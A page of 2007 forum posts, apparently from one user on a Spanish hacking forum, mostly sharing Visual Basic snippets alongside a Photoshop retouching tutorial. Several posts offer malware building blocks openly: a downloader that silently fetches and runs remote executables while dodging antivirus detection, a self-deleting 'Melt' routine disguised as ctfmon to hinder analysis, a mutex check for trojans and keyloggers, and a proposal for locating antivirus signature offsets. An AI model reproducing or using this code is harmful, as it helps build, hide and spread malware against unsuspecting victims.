elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Temas
Páginas: 1 2 3 4 5 6 [7] 8 9 10
61  Programación / Programación Visual Basic / [Source] Crear ColorPicker avanzado (como em Photoshop) en: 26 Junio 2007, 23:37
Pues eso, ví las herramientas para seleccionar color en Photoshop, las distintas paletas y escaleras de colores que posee y me dije... ¿será muy dificil programar eso?, nada más lejos de la verdad... solo tardé 2 minutos:



Y el código que te permite hacer eso me asombra de lo sencillo que es, a veces lo simple es bello:

Declaramos esto en un módulo:
Código
  1. Public Declare Function SetPixelV Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long) As Long
  2.  


Y esto en el evento OnClick() del botón:
Código
  1. Private Sub Command1_Click()
  2.    For x = 0 To 255
  3.        For y = 0 To 255
  4.            SetPixelV Picture1.hdc, x, y, RGB(x, y, 0)
  5.            SetPixelV Picture2.hdc, x, y, RGB(x, 0, y)
  6.            SetPixelV Picture3.hdc, x, y, RGB(0, y, x)
  7.            SetPixelV Picture4.hdc, x, y, RGB(x, y, 255)
  8.            SetPixelV Picture5.hdc, x, y, RGB(x, 255, y)
  9.            SetPixelV Picture6.hdc, x, y, RGB(255, y, x)
  10.        Next y
  11.        Picture1.Refresh
  12.        Picture2.Refresh
  13.        Picture3.Refresh
  14.        Picture4.Refresh
  15.        Picture5.Refresh
  16.        Picture6.Refresh
  17.        DoEvents
  18.    Next x
  19. End Sub
  20.  

Solo muestra los colores, pero no devuleve el color seleccionado, eso lo podemos terminar con la API: GetPixel (os dejo el razonamiento para que lo termineis vosotros)

:)

Saludos!!
62  Programación / Programación Visual Basic / [Source] Efecto para poner en un "AboutBox Dialog" en: 19 Mayo 2007, 19:36
Buenas, siempre me ha fascinado como algunos programadores (de troyanos y cracks o keygens), dedican unos minutos en programar sencillos efectos en sus ventanas de "About", en mi afán de intentar ponerme a su altura he programado este sencillo efecto de máquina de escribir.

Si no recuerdo mal SubSeven 2.0 usaba esta técnica, aunque a mobman (programador del Sub7) le salió mucho mejor, con colores, música y efecto de partículas. Claro que él uso C++ para programar su troyano :P

Saludos!!

63  Programación / Programación Visual Basic / [Source] LCD-ScreenTest - Comprueba si tu monitor LCD tiene pixeles muertos !!! en: 19 Mayo 2007, 19:14
Bueno, hace una semana me he comprado un monitor LCD de 21 pulgadas :rolleyes: y quería saber si tenia algún pixel muerto (que últimamente los fabricantes pasan de los pixeles muertos).

Así que he programado una sencilla utilidad que pone el monitor en todos los colores posibles, permitiendo ver si tienes algún pixel defectuoso, he escogido estos valores:

Código:
RGB(255, 255, 255)
RGB(255, 255, 0)
RGB(255, 0, 255)
RGB(255, 0, 0)
RGB(0, 255, 255)
RGB(0, 255, 0)
RGB(0, 0, 255)
RGB(0, 0, 0)

Su uso es sencillo, ejecuta el programa y la pantalla se pondrá en blanco, mira si tiene algun pixel muerto... Para pasar a otro color haz click con el ratón o simplemente pulsa la tecla "Espacio" o "Enter". Si quieres cancelar el proceso y salir en cualquier momento pulsa "Esc" o espera a llegar al color negro.



La idea no es 100% mía, ví un código similar en pscode.com

Os dejo el source (no lo he comentado porque es muy simple) y una versión compilada para quien quiera probarlo sin usar el VisualBasic6

Saludos!! :xD
64  Programación / Programación Visual Basic / [Source] IsMutexRunning... sencilla función para evitar multiples instancias!! en: 19 Mayo 2007, 17:33
Aqui vuelve el pesao de MadAntrax con otro de sus códigos...

Esta vez sirve para controlar que nuestra aplicación no sea ejecutada 2 veces en un mismo equipo. Algunos pensareis que eso ya se puede hacer con

Código
  1. If App.PrevInstance = True Then End

pero eso no es cierto... si nuestra aplicación se copia en System32 como: programa1.exe y programa2.exe... el usuario podrá ejecutar el programa1.exe y el programa2.exe simultáneamente! Eso puede suponer un problema en el caso de estar programando un troyano o un keylogger (donde lo importante es solo tener una instancia de nuestro malware a la vez).

Si no recuerdo mal, el troyano Bifrost usa esta función para controlar que solo un server.exe esté ejecutándose a la vez en un mismo sistema, y si la memoria no me falla este Mutex se puede personalizar en el EditServer. Bien, como creo yo una función similar en VB, así de simple:

Module1.bas
Código
  1. 'Estas sin las API's necesarias para crear y controlar el Mutex
  2. Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (ByVal lpMutexAttributes As Long, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
  3. Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
  4. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  5.  
  6. 'Variable Global que almacena el Handle de nuestro Mutex
  7. Private hMutex As Long
  8.  
  9. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  10. ' IsMutexRunning Parametros:
  11. '   MutexStr = String
  12. '       Cadena de texto única que usaremos para controlar nuestro Mutex
  13. '
  14. '   Valor de retorno = Boolean
  15. '       Devuelve TRUE si existe el Mutex
  16. '       Devuleve FALSE si no encuentra el Mutex
  17. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  18.  
  19. Public Function IsMutexRunning(ByVal MutexStr As String) As Boolean
  20.    hMutex = CreateMutex(0&, 0&, MutexStr)              'Creamos nuestro Mutex único
  21.    If hMutex = 0 Then                                  'Si el Handle es 0 es que algo no va bien :S
  22.        MsgBox "Ha ocurrido un error al intentar crear el Mutex. Es imposible controlar las instancias de este proceso", vbCritical + vbOKOnly, "CreateMutex Error"
  23.        IsMutexRunning = False
  24.    Else
  25.        If WaitForSingleObject(hMutex, 0&) = &H0 Then   'Comprobamos si ya existe ese Handle
  26.            IsMutexRunning = False                      'Si no existe, devolvemos FALSE
  27.        Else
  28.            MsgBox "Solo se permite una instancia simultanea de este proceso", vbOKOnly, "CreateMutex"
  29.            CloseHandle hMutex                          'Si existe, cerramos el nuevo Handle
  30.            IsMutexRunning = True                       'Y devolvemos TRUE
  31.        End If
  32.    End If
  33. End Function

y el el Form1.frm...
Código
  1. Private Sub Form_Load()
  2.    'Evitar usar un Mutex superior a 256 carácteres
  3.    'Recomiendo usar un Mutex poco común, asi evitamos problemas...
  4.    If IsMutexRunning("MadAntrax_Mutex[73@]") = True Then End
  5. End Sub
  6.  

Así de simple!! os dejo un proyecto de ejemplo 100% funcional, la descarga esta habilitada solo a usuarios registrados!!

Saludos!! ;D
65  Programación / Programación Visual Basic / [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función! en: 19 Mayo 2007, 01:29
Hola, estoy programando el Cactus Downloader y publico aquí la función que implementaré en su núcleo. Permite descargar un fichero desde una dirección web HTTP o FTP, sin advertir al usuario. Funciona igual de bien que la famosa API: URLDownloadToFileA de urlmon.dll

El problema de esa API es que es detectada por el 99% de los Antivirus, por eso he diseñado una función flexible. Espero que sepais usar valores por defecto y valores opcionales, aunque no es demasiado complicado, aquí el source:

Module1.bas
Código
  1. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  2. 'Función que permite descargar un fichero de internet HTTP o FTP sin usar llamadas a APIS
  3. '
  4. 'Uso de la función:
  5. '   DownloadFile(URL = String, FileName = String, [SavePath = GlobalVar], [RunAfterDownload = Boolean], [RunHide = Boolean])
  6. '   Return Value = Boolean (indica si se ha descargado o no el archivo)
  7. '
  8. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  9. Function DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
  10.    On Error Resume Next
  11.    Err.Clear
  12.  
  13.    Set XML = CreateObject("Microsoft.XMLHTTP")
  14.    Set ADS = CreateObject("ADODB.Stream")
  15.  
  16.    XML.Open "GET", URL, False
  17.    XML.send
  18.  
  19.    XML.getAllResponseHeaders
  20.  
  21.    FullSavePath = Environ(SavePath) & "\" & SaveName
  22.  
  23.    ADS.Open
  24.    ADS.Type = 1
  25.    ADS.Write XML.responseBody
  26.    ADS.SaveToFile FullSavePath, 2
  27.  
  28.    If Err Then
  29.        DownloadFile = False
  30.    Else
  31.        If RunAfterDownload = True Then
  32.            If RunHide = True Then
  33.                Shell FullSavePath, vbHide
  34.            Else
  35.                Shell FullSavePath, vbNormalFocus
  36.            End If
  37.        End If
  38.        DownloadFile = True
  39.    End If
  40. End Function
  41.  

Y para llamarla desde un Form o desde otra función:

Código
  1. Private Sub Command1_Click()
  2.    File = DownloadFile("http://perso.wanadoo.es/winworld/exec.exe", "prueba1.exe", "userprofile", True, False)
  3. End Sub
  4.  

El uso de la función es simple, y como usa valores Opcionales y Por Defecto solo tiene 2 argumentos requeridos, ejemplos:

DownloadFile("URL","NOMBRE")
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de NOMBRE, lo ejecuta y muestra la ventana

DownloadFile("URL","SERVER.EXE","SYSTEMROOT",FALSE)
Descargar el fichero URL y lo guarda en la capeta Windows con el nombre de SERVER.EXE, no lo ejecuta

DownloadFile("URL","KEYLOG",,,TRUE)
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de KEYLOG, lo ejecuta y NO muestra la ventana.

Si os complicais o no lo entendeis avisar, posteo un ejemplo (descargas válidad solo para usuarios registrados)
66  Programación / Programación Visual Basic / [Propuesta] Offset's Detector... en: 16 Mayo 2007, 20:58
Buenas, os propongo un proyecto a ver si os gusta y lo programamos entre unos cuantos...

La idea
Los Antivirus detectan unas zonas concretas de los troyanos (llamados offsets), si un Antivirus descubre uno (o varios) offset's en un archivo lo detectará como virus/troyano.

Hasta el día de hoy, la única forma de saber que offset hace saltar Antivirus era ir probando uno por uno (que coñazo!). Lo que quiero programar es una utilidad que lo haga por nosotros.

Explicación
Un simple programa que le especifiques la ruta de tu server.exe. El programa pedirá cuantos bytes quieres trocear. (Supongamos que nuestro server.exe pesa 10000 bytes, troceamos a 1000 bytes). Obtendremos 10 archivitos de 1000 bytes cada uno. Ahora solo falta pasar el AV y ver que archivo detecta.

Problemas
Es posible que al trocear un server.exe, nuestro AV no detecte ningún archivito malicioso. Eso significa que una parte del offset maligno ha quedado partido en 2 (o más) archivos, en este caso tendríamos que indicar al usuario que repita el "troceo" indicando un valor más elevado.

Y si queréis podemos programar un mini-editor hexadecimal integrado para editar allí mismo el offset. O incluso una utilidad para volver a juntar los archivitos troceados (después de detectar y editar el offset maligno).

Que os parece, alguien se anima? (respuestas mismo)
67  Programación / Programación Visual Basic / [Source] How to Melt a file in VB6 en: 13 Mayo 2007, 12:49
Bueno, aquí otro de mis mini códigos para hacer "Melt" en VB6, pero antes... ¿que significa "Melt"?

Definición
Se llama "Melt" cuando un usuario ejecuta un archivo y este desaparece (se auto-elimina) después de ejecutarse, esta función es necesaria para evitar que nuestra víctima ejecute 2 veces nuestro malware o evitar que la victima lo envíe a un Antivirus o a virustotal después de ejecutarlo, su estructura es...

1) Ejecuto el archivo (A)
2) El archivo (A) se copia en otro lugar (B)
3) El archivo (A) ejecuta el archivo (B)
4) El archivo (B) borra el archivo (A)
5) El archivo (B) sigue ejecutando el resto de malware...

Como he dicho, esto es ideal para evitar que existan 2 procesos iguales abiertos en el sistema (para evitar que nuestro keylogger sea ejecutado 2 veces, o nuestro troyano intente escuchar 2 veces por el mismo puerto, etc). Así también evitas que la víctima envíe el archivo a un análisis después de ejecutarlo xD



Aquí el código:

Código
  1. Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
  2.  
  3. Sub Main()
  4.    'Obtenemos el nombre de nuestro ejecutable
  5.    MyName = App.EXEName
  6.  
  7.    'Comprobamos si nos llamamos CTFMON
  8.    If LCase(App.EXEName) = "cftmon" Then
  9.        Call Execute
  10.    Else
  11.        Call MeltFile
  12.    End If
  13. End Sub
  14.  
  15. Function Execute()
  16.    'Función que se encarga de borrar el archivo original a partir
  17.    'de su ruta. Al terminar ejecuta el PayLoad
  18.  
  19.    On Error Resume Next
  20.  
  21.    If Not IsEmpty(Command$) Then   'Verificamos si tenemos algo en los argumentos
  22.        While Dir(Command$) <> ""   'Comprobamos si existe el archivo que tenemos en los argumentos
  23.            Kill Command$           '   Si existe... lo borramos
  24.            DoEvents                '   Esperamos un poco
  25.        Wend                        'Bucle
  26.    End If
  27.    Call PayLoad                    'Ejecutamos el resto del Malware
  28. End Function
  29.  
  30. Function MeltFile()
  31.    'Función que copia el propio Malware en la carpeta TEMP del sistema
  32.    'con el nombre de cftmon.exe. Ejecuta luego el archivo enviando como
  33.    'argumento su propia ruta.
  34.  
  35.    Dim MySelf As String
  36.    MySelf = String$(255, Chr$(0))
  37.  
  38.    GetModuleFileName 0, MySelf, Len(MySelf)        'Devuele la ruta correcta de tu aplicación
  39.  
  40.    FileCopy MySelf, Environ("TMP") & "\cftmon.exe" 'Nos copiamos en "TEMP\cftmon.exe"
  41.    DoEvents                                        'Esperamos...
  42.    Shell Environ("tmp") & "\cftmon.exe " & MySelf  'Ejecutamos "TMP\cftmon.exe" + Ruta de tu aplicación
  43.    End                                             'Finalizamos (importante! xD)
  44. End Function
  45.  
  46. Function PayLoad()
  47.    'Aqui incluimos el resto de código de tu Malware...
  48.    'Recomiendo llamar ahora a la función de AddToRegedit() para añadir la
  49.    'aplicación con el Melt (cftmon.exe) al registro, abrir el puerto del troyano
  50.    'activar el keylogger o lo que quieras programar :P
  51.  
  52.    MsgBox "Si estas leyendo esto es que tu aplicación ha hecho MELT y se ha borrado el archivo original, :P", vbInformation, "Melt in VB6"
  53.    End
  54. End Function
  55.  

Si quieres evitar que tu aplicación sea ejecutada 2 veces también puedes crearte un MuteX, pero la función "Melt" hace lo mismo que el MuteX y encima borra el archivo original (para evitar análisis de AV's).

Saludos!! (Espero comentarios!!)

Codigo fuente adjunto al post (solo usuarios registrados)
68  Media / Diseño Gráfico / [Tutorial] - Arreglar dientes (retoque) en: 22 Abril 2007, 20:36
Como arreglar dientes y mejoras en general

Hola, primero ante todo decir que no soy nada experto en Photoshop, y este es mi primer tutorial... empecemos!!

Primero nos descargamos la foto original, yo he usado la dentadura de una chica que necesita ortodoncia... pero nosotros se lo arreglaremos con el Photoshop :rolleyes:



Paso 1

Cargamos nuestra imagen en una sola capa llamada Original
Paso 2

Duplicamos la capa (Ctrl+J) y usamos la "Herramienta de marco Rectangular" (M) y hacemos una selección como la de la foto
Paso 3

Pulsamos Ctrl+T para entrar en el modo de "Transformación Libre" la selección cambiará de forma como en la foto
Paso 4

Usamos nuestro ratón para agrandar la selección hacia la derecha y cubrir así el espacio que hay en los dientes, mirar la foto
Paso 5

Combinamos la capa de arriba con la de abajo (Ctrl+E), usamos la herramienta "Lazo" (L) y con mucho cuidado selecionamos los dientes. Si te equivocas mantén pulsado Ctrl para añadir selección o Alt para quitar selección. Mirar la foto
Paso 6

Con la herramienta de Lazo aun seleccionada, pulsamos click derecho y marcamos la opción: "Capa vía copiar" Así crearemos una nueva capa con solo los dientes seleccionados
Paso 7

Aquí vemos la nueva capa creada, podemos borrar o modificar cosas si vemos que aun no está bien
Paso 8

Pulsamos Ctrl+U para entrar en HUE/Saturatión (Menu Imagen/Ajustes/HUE/Saturation. Seleccionamos el canal Amarillo y le quitamos Saturación y añadimos brillo
Paso 9

Como veis, el resultado es inmediato, pero en algunos casos se obtiene un efecto de "marfil" muy falso, lo solucionaremos cambiando la opacidad de la capa de dientes o su modo de fusión (yo lo puse en "Luz Neutral")
Paso 10

Cuando lo tenemos todo perfecto, combinamos capas (Ctrl+E) y creamos una nueva capa (Ctrl+J) llamada nariz, usamos el "Lazo" (L) y seleccionamos todo el conjunto de nariz y boca, entramos en el modo de Transformación Libre (Ctrl+T) y con el raton "rotamos" un poco el conjunto (ver foto!)
Paso 11

Quitamos la visibilidad de la capa del fondo, mostrando así el desplazamiento que hemos provocado. Seleccionamos nuestro "Borrador" y lo configuramos como: Diametro 10 y Dureza 0
Paso 12

Borramos todo el borde, así evitamos que se vea la rotación cuando juntemos las 2 capas. Fíjate que estamos borrando la capa de la nariz y la Original esta invisible! cuando termines pon la Original en modo visible.
Paso 13

Cuando termines, combina las 2 capas (Ctrl+E) y entra en el modo "Licuar" (Mayusculas+Ctrl+X) dentro de: Menu Filtro / Licuar, seleccionamos nuestra herramienta de "Desinflar" (S) y configuramos los parámetros así (ver foto)
Paso 14

Pulsamos varias veces encima d ela nariz para dejarla un poco más delgada, hay que ir cuidado con esta opción, siempre podemos retroceder pulsando Ctrl+Z, cuando termines acepta y mira el resultado (ver foto)
Paso 15

Seleccionamos nuestro "Pincel Corrector" (J) para borrar ese granito de la derecha lo configuramos como en la foto
Paso 16

Situamos nuestro ratón en una zona de la cara limpia y sin impurezas, pulsamos la tecla ALT y el cursor cambiará de forma, hacemos un solo click y soltamos el raton y la tecla ALT, ahora nos situamos encima de la imperfección, hacemos click y buala! el granito desaparece

Bueno, hasta aqui el fin de tuto. En principio quería hacerlo más extenso pero me he agobiado, os pongo la foto original y como la he dejado yo, por si alguien quiere continuar:

Si usais firefox o algún otro explorador con pestañas podreis ver la foto original y mi "retoque" pasando de una a otra para apreciar las diferecnias. Saludos!!

(Espero comentarios, es mi primer tuto!)
69  Programación / Programación Visual Basic / [Source] VB_ipconfig: Recopila información de tu NIC en: 11 Abril 2007, 23:27
Hola!!

Aqui vuelve con otro de mis sources, este está basado en un script WMI que encontré en mi editor VBSEdit3

La gracia de este código es que puedes obtener mucha información acerca de todas las tarjetas de red (NIC'S) que hay en un mismo PC, asi como saber si un equipo tiene más de una IP, más de un server DNS, DHCP, etc...

Adjunto foto, el código en VB y el código WMI original en VBS.



Saludos!!
70  Programación / Programación Visual Basic / [Source] Shadow Host - Obtiene las cabeceras HTTP de un webserver (y más...) en: 9 Abril 2007, 18:25
Os dejo el source completo de Shadow Host, es un programa que hice hace muchisimo tiempo (05 Diciembre 2005). Lo publiqué en este foro y apareció en uno de sus boletiones, aqui el link:

Nuevo Programa: Shadow Host
http://foro.elhacker.net/index.php/topic,97805.0.html

Permite obtener las cabeceras HTTP de un webserver, asi como los mensajes de bienvenida que hay en los servidores FTP, SMTP y POP3, de esta manera podemos saber que servicio y versión está ejecutando un servidor (para usar exploits en él más adelante xD)

El código es sencillo, si no se entiende algo avisar. Como he dicho es del 2005 y en esa época estaba aprendiendo a programar xD puede que se tenga que optimizar un poco el código

Saludos!!
Páginas: 1 2 3 4 5 6 [7] 8 9 10
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines